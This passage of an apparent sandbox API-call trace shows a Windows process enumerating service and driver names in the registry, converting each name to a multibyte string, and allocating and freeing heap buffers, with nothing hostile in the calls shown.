Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.709] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x17, lpName=0x1d92850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0032.709] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.709] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.710] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x18, lpName=0x1d92850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.710] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x19, lpName=0x1d92850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.710] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1a, lpName=0x1d92850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.710] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.710] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1b, lpName=0x1d92850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0032.710] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.711] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1c, lpName=0x1d92850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.711] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1d, lpName=0x1d92850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.711] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1e, lpName=0x1d92850, cchName=0x104 | out: lpName="arc") returned 0x0 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0032.711] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.711] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.711] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1f, lpName=0x1d92850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.712] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.712] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.712] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.712] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x20, lpName=0x1d92850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.712] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.712] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.712] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.712] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x21, lpName=0x1d92850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1da4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.712] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.712] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.712] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.712] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x22, lpName=0x1d92850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1da4408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0032.712] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.713] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x23, lpName=0x1d92850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0032.713] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.713] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0032.713] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.713] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x24, lpName=0x1d92850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0032.713] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.713] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0032.713] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.713] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x25, lpName=0x1d92850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0032.713] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.713] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1da4450, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0032.713] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.713] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.714] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x26, lpName=0x1d92850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.714] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.714] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.714] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.714] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x27, lpName=0x1d92850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.714] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.714] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.714] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.714] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x28, lpName=0x1d92850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.714] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.714] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.714] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.714] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x29, lpName=0x1d92850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.714] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.715] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2a, lpName=0x1d92850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.715] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2b, lpName=0x1d92850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", 